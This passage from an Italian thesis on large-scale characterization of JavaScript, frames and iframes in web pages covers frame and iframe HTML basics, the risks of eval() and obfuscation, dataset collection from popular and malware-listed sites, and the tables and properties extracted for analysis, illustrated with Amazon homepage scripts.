All’interno del tag <frameset> trova posto il tag <frame> i cui attributi principalisono:

• id: identificativo del frame;

• src: stringa che specifica quale pagina deve essere caricata all’interno del framestesso.

Gli attributi del tag <frameset> permettono di conferire le dimensioni ai frame esono:

• cols: valore che specifica la dimensione delle colonne di ogni frame;

• rows: valore che specifica la dimensione delle righe di ogni frame;

La struttura dei frame non necessita di trovarsi all’interno del tag HTML <body> madeve essere inserita dopo il tag di chiusura </head>.

2.4.1.1 Esempio di un documento composto da tre frame

1 <html>

2 <head>

3 <title>A simple frameset document </title>

4 </head>

5 <frameset cols="20% ,80%">

6 <frameset rows="100 ,200">

7 <frame src="logoUnits.gif">

8 <frame src="menu.html">

9 </frameset >

10 <frame src="http :// www.inginf.units.it/Home">

11 </frameset >

12 </html>

Codice 2.2: Esempio di un documento composto da tre frame

Page 23: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

9 Inline Frame

Figura 2.4: Pagina web composta da tre frame

2.5 Inline Frame

Iframe sta per Inline frame e permette di inserire un frame anche in una pagina nonstrutturata in frame. A tale scopo e sufficiente servirsi del tag <iframe>.

2.5.1 L’elemento iframe

I principali attributi dell’elemento iframe sono:

• width: valore che specifica la larghezza dell’iframe da includere;

• height: valore che specifica l’altezza dell’iframe da includere;

• src: stringa che specifica il documento da caricare all’interno dell’iframe (ancheun url esterno se necessario).

Il tag <iframe>, inoltre, supporta tutti gli attributi del tag <frame>.L’elemento iframe, permettendo di inserire un frame all’interno di una sezione di

testo, consente di includere un documento HTML dentro un altro.

2.5.1.1 Esempio di un iframe

1 <iframe src="http :// www.units.it" width="820" height="300">

</iframe >

Codice 2.3: Esempio di un iframe

Page 24: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

2. Script JavaScript frame e iframe 10

Figura 2.5: Iframe ospitato all’interno di una pagina web

2.6 Quesiti preliminari allo studio

L’idea di intraprendere uno studio con l’obiettivo di realizzare una caratterizzazione discript JavaScript nel web, nasce in seno alla consapevolezza che sempre piu spesso pagineweb ospitano script, per sfruttare l’interazione dinamica fra client e server.

Questa ricerca e stata mossa dalla volonta di rispondere a cinque macro quesiti, inmodo tale da soddisfare l’intento di definire l’uso odierno di script JavaScript, frame eiframe nelle pagine web.

Prima di esporre i quesiti e doveroso introdurre alcuni concetti presenti in essi. Taliconcetti verranno chiariti e analizzati in maniera piu approfondita nel corso di questo ela-borato, ora viene proposta solamente un’anticipazione volta a garantire la comprensionedelle domande.

Sebbene non si trovi una definizione precisa di offuscamento, si puo comunque affer-mare che un codice offuscato e un codice la cui sintassi originale ha subito delle modificheper essere resa piu difficile da comprendere. I propositi che spingono un programmatoread offuscare il proprio codice risultano essere antitetici. Infatti, se da un lato l’offusca-mento viene utilizzato come mezzo per proteggere la paternita del codice, dall’altro espesso impiegato dagli autori di software maligno per nascondere frammenti di codicenocivo che, ad esempio, possono dar luogo a browser exploits, in sostanza attacchi infor-matici che sfruttano un difetto o vulnerabilita di un sistema operativo o di una parte disoftware con l’intenzione di alterare le impostazioni del browser all’insaputa dell’utente,consentendo, ad esempio, il download automatico di componenti dannosi per il sistema

Page 25: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

11 Quesiti preliminari allo studio

o la sottrazione fraudolenta di dati privati.

Come verra meglio illustrato al capitolo 5, le tecniche che mirano ad offuscare il codi-ce fanno frequente uso di espressioni regolari e operazioni su stringhe. Cio e reso possibiledall’utilizzo di alcune funzioni JavaScript native come escape() e unescape() che opera-no in maniera opposta, codificando e decodificando una stringa, ed eval() che completail lavoro iniziato dalle precedenti eseguendo la stringa passatale come argomento.

Gli esperti concordano sul fatto che tutt’oggi ci sia un ricorso abusivo dell’utilizzodella funzione eval()7. Solo in una piccola percentuale di casi, infatti, l’utilizzo dieval() risulta essere indispensabile. Cio si verifica quando, ad esempio, e necessariorealizzare complesse espressioni matematiche basate su input dell’utente o quando enecessario serializzare8 lo stato di un oggetto9 all’interno di una stringa affinche possaessere memorizzato, trasmesso e ricostruito nel seguito.

Nella maggior parte delle situazioni, l’uso di eval() risulta essere scorretto e ten-denzialmente pericoloso. Infatti, spesso le potenzialita di questa funzione non risultanonecessarie e comportano scarse perfomance del sistema. A tal riguardo si propone unaconsiderazione. Il fatto che eval() esegua una stringa trattandola come codice, implicache a tempo di esecuzione venga effettuata una nuova compilazione ed interpretazionedel codice, comportando cosı una notevole perdita in termini di prestazioni.

Per cio che concerne la pericolosita di eval(), e doveroso introdurre lo nozione dicode injection. Con questo termine si indica l’inserimento all’interno di un’applicazione(nel nostro caso un’applicazione web) di codice malevolo, eseguito dalla stessa in unsecondo momento.

Molti moderni linguaggi di scripting permettono la dynamic evaluation, che prevedel’utilizzo di funzioni come eval() per eseguire frammenti di codice ricavati a runtime.Essa, pensata soprattutto come scorciatoia per il programmatore, puo rappresentare ungrave problema per la sicurezza dell’applicazione nel caso in cui il frammento di codiceeseguito dinamicamente contenga dell’input non opportunamente validato.

Si consideri, a questo proposito, un’applicazione web che faccia uso di eval() per va-lutare le richieste HTTP10 effettuate tramite il metodo GET. Tale metodo prevede che ilvalore del parametro, inserito dall’utente durante una richiesta, venga aggiunto all’URLpreceduto da un ‘?’ (come http://www.website.com/evalpage.php?parameter). Nel casoin cui l’input non sia vagliato con estrema attenzione prima della valutazione, l’attac-cante pontenzialmente e in grado di eseguire sul server qualsiasi comando semplicementeinviando all’applicazione opportuni parametri tramite l’URL.

7Per un’idea rispetto alla rilevanza dell’argomento, si propone al lettore di interrogare un motore diricerca, come Google, con il gioco di parole “eval is evil”.

8Serializzazione: processo di conversione di un oggetto in un flusso di byte per archiviarlo in memoria,in un database o in un file oppure per trasmetterlo su una connessione di rete. Lo scopo principale e disalvare lo stato di un oggetto al fine di poterlo ricreare identico tramite il processo inverso che prende ilnome di deserializzazione.

9Stato di un oggetto: valore di tutti i dati membro dell’oggetto considerato in un certo istante.10Richiesta HTTP : insieme di linee inviate al server dal client ad esempio per prelevare una pagina

web. Per una maggiore spiegazione si rimanda al paragrafo 3.2.1 di pagina 15.

Page 26: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

2. Script JavaScript frame e iframe 12

2.6.1 I cinque quesiti

Vengono ora elencati in maniera schematica ed essenziale i cinque macro quesiti cherappresentano le linee guida del nostro studio.

1. Quanto e diffusa l’inclusione di script da url diversi?

2. A che profondita di inclusione si arriva per includere script?

3. Quanto e diffuso l’utilizzo di eval()?

4. Quanto e diffusa l’inclusione di frame e iframe sospettosamente piccoli?

5. Quanto e diffuso l’utilizzo di tecniche di offuscamento?

Nei capitoli successivi verra illustrato l’iter complessivo adottato (dalla raccolta deldataset, all’individuazione dei parametri per l’analisi da compiere fino all’analisi vera epropria) per dar risposta a queste domande e ad altre piu dettagliate ma sempre facenticapo ai cinque cardini menzionati.

In conclusione verranno esposte le deduzioni ricavate a seguito delle osservazionicondotte sui risultati ottenuti.

Page 27: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Capitolo 3Il dataset

Per rispondere ai cinque macro quesiti esposti nella sottosezione 2.6.1 di pagina 12,abbiamo deciso di costruire un dataset di pagine che, grosso modo, rispecchiasse loscenario attuale del Web.

Nella fattispecie e stato scelto di popolare il dataset mediante tre categorie di pagineche riproducessero la reale divisione delle pagine nel Web.

A tal scopo si e stabilito di destinare l’80% del dataset a pagine ritenute normalie auspicabilmente innocue, visitate quotidianamente da un alto tasso di utenti, mentrepoco meno di un quinto del dataset e stato riservato a pagine presumibilmente malignedal contenuto sospetto e probabilmente nocivo, ed infine una minima porzione di datasete stata popolata con pagine interessanti poiche volte a calcolare le prestazioni del webbrowser1 dell’utente, sottoposto all’elaborazione di particolari script JavaScript.

Si e deciso di utilizzare tre diverse fonti dalle quali prelevare gli url delle pagineda scaricare e analizzare. A seconda della fonte di provenienza sono state definite tretipologie di pagina: Normal, Malicious ed Interesting.

In questo capitolo vengono presentate le fonti impiegate, gli strumenti atti al down-load delle pagine, l’intervallo di scaricamento e la composizione finale del dataset.

3.1 Le fonti

3.1.1 La fonte per le pagine Normal

La parte piu consistente del dataset e formata dalle pagine definite Normal. Si e decisodi far ricadere in questa categoria le home page dei siti web piu visitati al mondo. Perottenere questo elenco ci si e avvalsi della Top Milion Sites List stilata dall’azienda AlexaInternet Inc. e scaricabile dal sito della stessa.

Il campione di pagine Normal e parte del milione. Nello specifico sono state selezio-nate le prime mille della lista.

1Web browser : programma che consente all’utente di navigare nel web e quindi di visualizzare einteragire con testi, immagini e altre informazioni, tipicamente contenute in una pagina web.

13

Page 28: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

3. Il dataset 14

Data la facilita di reperimento di questa tipologia di pagine, il download delle 1000Normal ha richiesto l’arco di una giornata per essere completato. Esso ha avuto successonel 83,4% dei casi. In definitiva e stato possibile compiere l’analisi su 834 pagine Normal.

3.1.1.1 Alexa Top Sites

La Alexa Internet Inc. e un’azienda statunitense, fondata nel 1996, sussidiaria di Ama-zon.com che si occupa di statistiche sul traffico di Internet. Alexa, abbreviazione diAddress Lookup EXperts Authority, e anche un motore di ricerca con un servizio di webdirectory [5].

Alexa classifica i siti basandosi sulle visite effettuate dagli utenti della Alexa Toolbar,per Internet Explorer, e dalle barre degli strumenti integrate in Mozilla e Netscape. Unavolta installata, la toolbar memorizza i dati relativi al traffico del browser e li invia al webservice di Alexa che li immagazzina e analizza al fine di creare le proprie statistiche [4].A partire dal 1996 si contano oltre 10 milioni di toolbar installate anche se la compagnianon fornisce il numero esatto [5].

Alexa rende disponibile la lista Top Sites per nazione, lingua o categoria. La listaclassifica il milione di siti maggiormente visitati e ordinati secondo l’Alexa Traffic Rank.

3.1.2 La fonte per le pagine Malicious

Per cio che concerne le pagine pertinenti la tipologia Malicious, la scelta della fonte estata fatta ricadere sulla lista dei siti infettati da malware redatta dal progetto MalwareDomain List e pubblicata sul sito dello stesso: www.malwaredomainlist.com.

Le pagine Malicious sono state segnate da un intervallo di scaricamento dilatatonel tempo. Questo fatto e stato reso necessario da due fattori: l’impossibilita di pos-sedere un numero congruo di url da scaricare nel medesimo momento e la frequentedifficolta riscontrata nel download, presumibilmente dovuta alla rimozione delle pagineincriminate.

Durante l’arco di due mesi, quotidianamente e stata visionata la lista pubblicata sulsito www.malwaredomainlist.com e da quella sono stati estratti i nuovi url presenti.

Si e scelto di scaricare tutti gli url raccolti nell’elenco ad eccezione di quelli laddovel’estensione della risorsa indicava che l’url in questione si riferiva ad un programmaeseguibile.

3.1.2.1 Malware Domain List

Malware Domain List e un progetto non a fini commerciali nato nel luglio 2007, grazieall’impegno di alcuni volontari.

Il progetto mantiene aggiornata una lista di domini che vengono scoperti propagaremalware e spyware all’interno del web.

Tra le altre informazioni presenti nella lista, ad ogni dominio sono associati la data el’ora d’inserimento nell’elenco, la descrizione del malware diffuso, l’ip e la ragione socialecon la quale il dominio e registrato.

Page 29: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

15 Metodologia di scaricamento delle pagine

Dopo previa iscrizione al progetto, chiunque ha la possibilita di collaborare all’ag-giornamento della lista di domini maligni. Gli URL notificati dai collaboratori, primadi essere inseriti nell’elenco, passano al vaglio degli amministratori del progetto. Oltrea cio la lista viene mantenuta anche grazie alla cooperazione con altri siti operanti nellostesso campo, come www.malwareurl.com e www.hosts-file.net.

A questo progetto si appoggiano sia ricercatori che internet service provider2 persmascherare e debellare i siti divulgatori di malware.

3.1.3 La fonte per le pagine Interesting

Con l’appellativo Interesting si vogliono indicare le pagine costituite da JavaScriptbenchmark.

Gli strumenti di JavaScript benchmark consentono di testare, verificare e confrontarele performance JavaScript dei vari web browser. I benchmark racchiudono in se diverseprove per testare le prestazioni JavaScript del browser in uso: calcoli matematici, velocitadi accesso agli oggetti e alle loro proprieta, utilizzo di regexp, string processing ecc.

Per lo studio in esame sono stati scelti i JavaScript benchmark rilasciati dai tre mag-giori produttori di web browser: V8 Benchmark, Dromaeo e SunSpider rispettivamentedistribuiti da Google, Mozilla e WebKit.

3.2 Metodologia di scaricamento delle pagine

Prima mettere in luce la metodologia di scaricamento adottata, vengono proposte dueserie di definizioni utili al fine della totale comprensione lungo il prosieguo di tuttol’elaborato.

La prima sequenza presenta alcune nozioni a carattere generale mentre la secondaespone dei concetti nati in seno al laboratorio di “Reti di Calcolatori” dell’Universita diTrieste, nel quale e stata condotta questa ricerca.

3.2.1 Definizioni generali

• URL: Uniform Resource Locator e una sequenza di caratteri che identifica uni-vocamente l’indirizzo di una risorsa in Internet. Esso si compone di cinque parti,alcune delle quali sono opzionali:

– nome del protocollo: protocollo di rete da utilizzare per l’accesso al server.I protocolli piu comuni sono l’HTTP, HTTPS, FTP;

– id e password: credenziali per l’accesso alla risorsa;

– nome del server: indirizzo fisico del server su cui risiede la risorsa. Puoessere costituito da un nome di dominio o da un Indirizzo IP;

2Internet Service Provider : struttura commerciale o organizzazione che offre ai propri utenti serviziinerenti Internet come l’accesso alla network stessa e la posta elettronica.

Page 30: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

3. Il dataset 16

– numero della porta: numero associato ad un servizio che permette al serverdi sapere quale tipo di risorsa e richiesta;

– percorso di accesso alla risorsa: percorso nel file system del server cheidentifica la risorsa.

• HTTP Request: insieme di linee inviate dal client al server per prelevare larisorsa. Essa comprende:

– request line: e una linea che precisa l’url del documento richiesto, il metodoche deve essere applicato (GET o POST) per ottenere la risorsa e la versionedel protocollo usato;

– header lines: insieme di linee facoltative che permettono di dare delleinformazioni supplementari sulla richiesta;

– entity body: insieme di linee opzionali, separate dalle headers line tramiteuna linea vuota, che consentono l’invio di dati al server qualora il metodospecificato nella request line sia di tipo POST.

• HTTP Response: insieme di linee inviate dal server al client. Essa comprende:

– status line: e una linea che precisa la versione del protocollo usata, lo statodi trattamento della richiesta attraverso un codice e un testo esplicativo delcodice;

– header lines: insieme di linee facoltative che permettono di dare delleinformazioni supplementari sulla risposta;

– entity body: documento richiesto dal client.

• HTTP Redirection: redirezione verso un nuovo URL associato al documento.Il nuovo url e specificato nell’header Location dell’HTTP response.

3.2.2 Nostre definizioni

• Risorsa: pagina web visualizzabile tramite web browser. Ogni risorsa e associataad un URL. Nel caso la risorsa sia un documento HTML, essa include anche tuttele informazioni necessarie al browser per la sua visualizzazione (script JavaScript,frame, iframe, immagini, CSS);

• Snapshot: contenuto di una risorsa di URL u in un dato istante di tempo t ; concontenuto si indicano tutti gli header ottenuti, sia di request che di response, ilcontent type, la data e la durata del download e l’albero delle ricorrenze, il qualeinclude:

– l’html della pagina per la quale si e avviato il download (root html);

– l’html ottenibile dagli URL indicati nell’attributo src dei tag iframe o frame

della root html o di altri child html (child html);

Page 31: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

17 Dimensione complessiva del dataset

– gli script JavaScript ottenibili dagli URL indicati nell’attributo src dei tagscript della root html o dei child html;

– i css ottenibili dagli URL indicati nell’attributo src dei tag link della roothtml o dei child html;

– i css ottenibili dagli URL indicati nella direttiva @import di altri css;

– le immagini ottenibili dagli URL indicati nell’attributo src dei tag img dellaroot html o dei child html;

– le immagini ottenibili dagli URL specificati con le direttive background ebackground-image dei css.

3.2.3 Goldrake

Per dar luogo allo scaricamento e stato utilizzato il componente downloader di un’istanzadi Goldrake, sistema sviluppato presso il laboratorio di “Reti di Calcolatori”del DEEIdell’Universita di Trieste, capace di garantire un controllo, periodico e automatizzato,di siti remoti.

Tale strumento, a partire dall’url della risorsa, immagazzina in un database relazio-nale lo snapshot di quella. Per costruire l’albero delle dipendenze, il programma analizzain maniera ricorsiva la pagina iniziale e le dipendenze della stessa utilizzando una seriedi sensori.

3.3 Dimensione complessiva del dataset

A conclusione del periodo di scaricamento delle pagine, durato pressoche due mesi, lacomposizione del dataset risultava cosı partizionata:

• 834 pagine Normal ;

• 200 pagine Malicious;

• 3 pagine Interesting.

Page 32: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web
Page 33: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Capitolo 4Metodologia di analisi

Una volta ottenuto il dataset, come spiegato al capitolo 3, si e proceduto con l’orga-nizzazione e la preparazione dei dati, al fine di poter avviare l’analisi fulcro di questatesi.

Poiche la materia di studio e rappresentata da script JavaScript, frame e iframe, lamole di dati legati agli snapshot forniti dal downloader di Goldrake, e stata sottoposta aduna selezione tesa ad estrapolare il complesso di informazioni inerenti, appunto, script,frame e iframe.

A questo primo scorporamento e seguita la riorganizzazione dei dati per porli nelformato piu consono all’analisi.

4.1 Suddivisione del dataset

Dall’albero delle dipendenze di ogni pagina sottoposta a scaricamento, sono stati estra-polati i dati d’interesse per la nostra indagine. Con tali elementi e stato popolato unulteriore database.

La struttura del DB sopracitato, puo essere descritta semplificandola e riassumendolain due tabelle, una associata agli script JavaScript e una ai frame e agli iframe.

4.1.1 La tabella degli script

Per ogni script JavaScript, collegato in qualche misura a una risorsa, e stata inserita unariga in una tabella Ts, costituita dai seguenti campi:

• Script URL: url dello script;

• Root page URL: url della pagina per la quale si e avviato il download;

• Root page type: tipologia della pagina (Normal, Malicious o Interesting);

• Script body: codice contenuto nello script;

19

Page 34: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

4. Metodologia di analisi 20

• Category: categoria di appartenenza dello script, una fra le seguenti:

– Embedded Script: script identificato da un tag HTML <script> che noninclude l’attributo src (un inline script);

– Child Script: script identificato da un tag HTML <script> che includel’attributo src e che quindi non contiene il codice dello script ma solo ilpuntatore all’indirizzo dove quello deve essere prelevato;

– Intrinsic Event: script definito all’interno di un tag HTML come <onload>,<onclick>, <onsubmit>, <onchange>, <onfocus>, <onmouseover>, e cosı via.

• Locality: campo booleano che, a seconda del valore, conferisce allo script unadelle seguenti accezioni:

– Local: qualora lo Script URL e il Root page URL condividano almeno gliultimi due livelli del nome DNS1;

– Remote: altrimenti.

• List of HTTP redirection for the script: lista degli URL appartenenti allasequenza di download dello script. Tale lista include anche tutte le redirezioniHTTP e mantiene l’ordine di scaricamento degli URL;

• Total steps: numero degli elementi della lista sopra menzionata;

• Inclusion steps: risultato della sottrazione delle redirezioni HTTP al numeroidentificato come Total steps.

Il concetto puo essere piu chiaro con l’esempio successivo. Si consideri un ChildScript, quindi uno script il cui codice e definito all’esterno della pagina web dicui si e avviato lo scaricamento. La lista degli URL appartenenti alla sequenzadi download dello script contiene l’URL della pagina principale e l’URL puntatodall’attributo src del tag <script>. In questo specifico caso lo script e caratte-rizzato da Total steps=2 e Inclusion steps=2 perche durante il percorso non sisono riscontrate redirezioni HTTP. Si consideri ora lo stesso esempio ma nella si-tuazione in cui la richiesta HTTP inoltrata dal client al server per prelevare talescript all’URL puntato, riceva una risposta HTTP con il campo Location settato;nell’header Location e precisato il nuovo url da cui prelevere lo script richiesto. Inquesto caso il client subisce una redirezione e lo script risulta esser caratterizzatoda Total steps=3 e Inclusion steps=2.

A seconda delle combinazioni dei campi Category e Locality, gli script sono statiraggruppati in sei diverse classi. Come verra meglio illustrato nei capitoli seguenti, permolte analisi ci si e avvalsi di questa suddivisione.

1DNS : Domain Name System, sistema di denominazione del dominio. E un database distribuito cheviene utilizzato per creare una corrispondenza tra indirizzo IP e nome mnemonico assegnato a un nodo.

Page 35: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

21 Suddivisione del dataset

4.1.1.1 Lo script: dalla pagina alla tabella

In questo paragrafo si descrive un esempio relativo al download di una pagina web,www.amazon.com, con successiva estrazione degli script contenuti in essa e popolamentodella tabella Ts.

L’url di cui si avvia lo scaricamento e la home page del sito www.amazon.com, che,visualizzata tramite un browser, appare all’utente come in Figura 4.1 a pagina 22.

Una volta terminato lo scaricamento, si evince che la pagina e formata da 32 Embed-ded Script, 7 Child Script e 4 Intrinsic Event.

Nel seguito si elencano i valori dei campi della riga inserita in Ts e relativa al primoEmbedded Script scaricato dalla pagina.

• Script URL: http://www.amazon.com;

• Root page URL: http://www.amazon.com;

• Root page type: Normal;

• Script body:

1 <!--

2 function amz_js_PopWin(url ,name ,options){

3 var ContextWindow = window.open(url ,name ,options);

4 ContextWindow.focus ();

5 return false;

6 }

7 //-->

Codice 4.1: Codice dello script

• Category: Embedded Script;

• Locality: Local;

• List of HTTP redirection for the script:

– http://www.amazon.com;

• Total steps: 1;

• Inclusion steps: 1;

Per maggior chiarezza si riportano anche i dati d’interesse appartenenti al primoChild Script scaricato dalla pagina.

• Script URL: http://m1.2mdn.net/879366/flashwrite 1 2.js;

• Root page URL: http://www.amazon.com;

• Root page type: Normal;

Page 36: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

4. Metodologia di analisi 22

Figura 4.1: Home page di Amazon visualizzata tramite un browser

• Script body:

1 function dclkToObject(id) {

2 if(document.layers){

3 return (document.layers[id])?eval(document.layers[id]):

null;

4 }

5 else if(document.all && !document.getElementById){

6 return (eval("window."+id))?eval("window."+id):null;

7 }

8 else if(document.getElementById && document.body.style) {

9 return (document.getElementById(id))?eval(document.

getElementById(id)):null;

10 }

11 }

12

13 function dclkFlashWrite(string){

14 document.write(string);

15 }

16

17 function dclkFlashInnerHTML(htmlElementId ,code){

18 var x=dclkToObject(htmlElementId);

19 if(x){

20 if(document.getElementById || document.all){

21 x.innerHTML=’’;

22 x.innerHTML=code;

Page 37: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

23 Suddivisione del dataset

23 }

24 else if(document.layers){

25 x.document.open();

26 x.document.write(code);

27 x.document.close ();

28 }

29 }

30 }

Codice 4.2: Codice dello script

• Category: Child Script;

• Locality: Remote;

• List of HTTP redirection for the script:

– http://www.amazon.com

– http://ad.doubleclick.net/adi/amzn.us.gw.btf;sz=300x250;bn=507846;u=7689...;ord=00F0WDTCRNB34BE99MBC;s=32;s=m4;s=m1;z=1;tile=3?

– http://ad.doubleclick.net/adi/N624.160337.0447968804521/B3948491;sz=300x250;click=http://ad.doubleclick.net/click%3Bh=v8/38c1/3/0/%2a/a%3B132905229%3B0-0%3B0%3B18273354%3B4307-300/250%3B33661023/33678901/1%3Bu%3D768289f015614a40a75c747a2f702ea3%3B%7Eaopt%3D2/1/4/2%3B%7Esscs%3D%3f;ord=2385959?

– http://m1.2mdn.net/879366/flashwrite 1 2.js

• Total steps: 4;

• Inclusion steps: 4;

4.1.2 La tabella dei frame e degli iframe

Analogamente alla tabella Ts, e stata popolata anche una tabella Ti relativa ai framee agli iframe reperiti analizzando i tag HTML <frame> e <iframe> riscontrati nellesequenza di download di ogni risorsa.

Di seguito viene presentata la descrizione dei campi della tabella Ti:

• Iframe URL: url del frame o dell’iframe;

• Root page URL: url della pagina per la quale si e avviato il download;

• Root page type: tipologia della pagina (Normal, Malicious o Interesting);

• Iframe body: codice contenuto fra le coppie di tag HTML <frame>. . . e . . . </frame>o <iframe>. . . e . . . </iframe>;

• Enclosing: tipo di inclusione del frame o dell’iframe, una fra le seguenti:

Page 38: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

4. Metodologia di analisi 24

– HTML Embedded: frame o iframe incluso all’interno del codice HTML diuna pagina;

– Script Embedded: frame o iframe incluso all’interno del codice JavaScriptdi uno script.

• Locality: campo booleano che, a seconda del valore, conferisce al frame o all’ifra-me una delle seguenti accezioni:

– Local: qualora l’Iframe URL e il Root page URL condividano almeno gliultimi due livelli del nome DNS;

– Remote: altrimenti.

• List of HTTP redirection for the iframe: lista degli URL appartenenti allasequenza di download del frame o dell’iframe. Tale lista include anche tutte leredirezioni HTTP e mantiene l’ordine di scaricamento degli URL;

• Total steps: numero degli elementi della lista sopra menzionata;

• Inclusion steps: risultato della sottrazione delle redirezioni HTTP al numeroidentificato come Total steps.

Nelle nostre analisi i frame e gli iframe sono stati classificati in base ai quattro gruppiscaturiti dalle combinazioni dei campi Enclosing e Locality.

4.1.2.1 L’iframe: dalla pagina alla tabella

Sempre a seguito del download della pagina www.amazon.com (Figura 4.1), la tabella Ti

e stata popolata con cinque iframe: 3 del tipo Embedded e 2 del tipo Script Embedded.Nel seguito si elencano i valori dei campi della riga inserita in Ti e relativa al primo

iframe HTML Embedded della pagina.

• Iframe URL: http://ad.doubleclick.net/adi/amzn.us.gw.btf;sz=300x250;bn=507846;u=768289f015614a40a75c747a2f702ea3;ord=00F0WDTCRNB34BE99MBC;s=32;s=m4;s=m1;z=1;tile=3?;

• Root page URL: http://www.amazon.com;

• Root page type: Normal;

• Iframe body:

1 <iframe xmlns="http :// www.w3.org /1999/ xhtml" bordercolor="

#000000" frameborder="0" height="250" hspace="0"

marginheight="0" marginwidth="0" scrolling="no" src="http

://ad.doubleclick.net/adi/N624 .160337.0447968804521/

B3948491;sz=300 x250;click=http ://ad.doubleclick.net/click

%3Bh=v8/38c1 /3/0/%2a/a%3 B132905229 %3B0 -0%3B0%3 B18273354 %3

B4307 -300/250%3 B33661023 /33678901/1%3 Bu%3

Page 39: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

25 Analisi sugli script e sugli iframe

D768289f015614a40a75c747a2f702ea3 %3B%7 Eaopt%3D2 /1/4/2%3B%7

Esscs%3D%3f;ord =2385959?" vspace="0" width="300"> &lt;

SCRIPT language=’JavaScript1 .1’ SRC="http ://ad.doubleclick

.net/adj/N624 .160337.0447968804521/ B3948491;abr=!ie;sz=300

x250;ord =2385959?"&gt; &lt;/ SCRIPT&gt; &lt;NOSCRIPT&gt; &

lt;A HREF="http ://ad.doubleclick.net/jump/N624

.160337.0447968804521/ B3948491;abr=!ie4;abr=!ie5;sz=300

x250;ord =2385959?"&gt; &lt;IMG SRC="http ://ad.doubleclick.

net/ad/N624 .160337.0447968804521/ B3948491;abr=!ie4;abr=!

ie5;sz=300 x250;ord =2385959?" BORDER =0 WIDTH =300 HEIGHT =250

ALT=""Click Here""&gt;&lt;/A&gt; &lt;/ NOSCRIPT&gt; </

iframe >

Codice 4.3: Codice dell’iframe

• Enclosing: HTML Embedded;

• Locality: Remote;

• List of HTTP redirection for the iframe:

– http://www.amazon.com;

– http://ad.doubleclick.net/adi/amzn.us.gw.btf;sz=300x250;bn=507846;u=7689...;ord=00F0WDTCRNB34BE99MBC;s=32;s=m4;s=m1;z=1;tile=3?;

• Total steps: 2;

• Inclusion steps: 2;

4.2 Analisi sugli script e sugli iframe

Una volta ottenute le informazioni sulle “generalita” di script, frame e iframe, si e decisodi analizzarne il contenuto e quindi scendere a livello del codice per ricavarne gli apettisalienti e poter soddisfare l’intento di fornirne una caratterizzazione complessiva.

A tal scopo sono stati definiti due set di proprieta da estrarre e da misurare, il primopeculiare per gli script, il secondo per i frame e gli iframe.

4.2.1 Proprieta estratte dagli script

L’obiettivo prefisso nella definizione delle proprieta, si individua nell’esigenza di svisce-rare il singolo script al fine di esaminarne le componenti, quali le funzioni definite dalprogrammatore, le funzioni native JavaScript come, ad esempio, eval() e unescape(),i document.write(), gli iframe e le variabili.

Nel seguito viene delineato l’elenco delle proprieta estratte per ogni script.

• Function name: nome di ogni funzione definita nello script;

Page 40: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

4. Metodologia di analisi 26

• Document.write: argomento di ogni invocazione di tipo document.write();

• Iframe: argomento racchiuso fra i tag HTML <iframe>. . . e . . . </iframe>;

• Variable name: nome di ogni variabile definita nello script;

• Variable content: contenuto di ogni variabile definita nello script;

• Long string: contenuto di ogni stringa costante di dimensione superiore ai 140caratteri definita nello script;

• Eval: argomento di ogni invocazione di tipo eval();

• Unescape: argomento di ogni invocazione di tipo unescape();

• Decode: argomento di ogni invocazione di tipo decode();

• Onerror: argomento di ogni invocazione di tipo onerror();

• Exec: argomento di ogni invocazione di tipo exec();

• String.fromCharCode: argomento di ogni invocazione di tipo String.fromCharCode();

• String.charCodeAt: argomento di ogni invocazione di tipo String.charCodeAt();

• Math.random: argomento di ogni invocazione di tipo Math.random();

4.2.2 Proprieta estratte dai frame e dagli iframe

Per cio che concerne i frame i gli iframe le proprieta estratte si riassumono nelle dimen-sioni degli stessi:

• width: valore che specifica la larghezza del frame o dell’iframe;

• height: valore che specifica l’altezza del frame o dell’iframe;

Le proprieta elencate in questi due paragrafi si pongono come nucleo fondante perle nostre analisi. Esse sono state analizzate sotto vari aspetti a seconda delle esigenze:talvolta ne e stato considerato il numero di occorrenze, talatra e stato preso in considera-zione il valore insito nella proprieta o, ancora, ci si e soffermati sul risultato di particolarielaborazioni effettuate su quei valori.

Page 41: Progetto e realizzazione di un sistema per la caratterizzazione su larga scala dei codici JavaScript nel Web

Capitolo 5Offuscamento

Lungo questo capitolo viene trattato un tema complicato e caratterizzato da aspetti sucui attualmente non e ancora stata fatta completa chiarezza: l’offuscamento. Codestoargomento ha impiegato una parte consistente di tempo dedicato a questa ricerca.

Il capitolo e essenzialmente suddiviso in quattro sezioni.Nella prima viene esposto il concetto di offuscamento cosı come trattato in lettera-

tura. Vengono elencate le motivazioni alla base dell’offuscamento del codice e vengonoforniti alcuni esempi.

Quindi il focus del capitolo passa nello specifico all’offuscamento come tecnica per ce-lare contenuti maligni. In questa parte viene definito e analizzato anche l’uso di eval().Infatti, il concetto di offuscamento e sovente accumunato a tale funzione JavaScript.

Nella terza parte del capitolo viene dato spazio al tema degli iframe sospettosamente“piccoli” se non adirittura invisibili. In tale sezione viene spiegato il rapporto che sussistefra questa tipologia di iframe e l’offuscamento; al lettore risultera quindi chiara la sceltadi inserire l’argomento all’interno di questo capitolo.

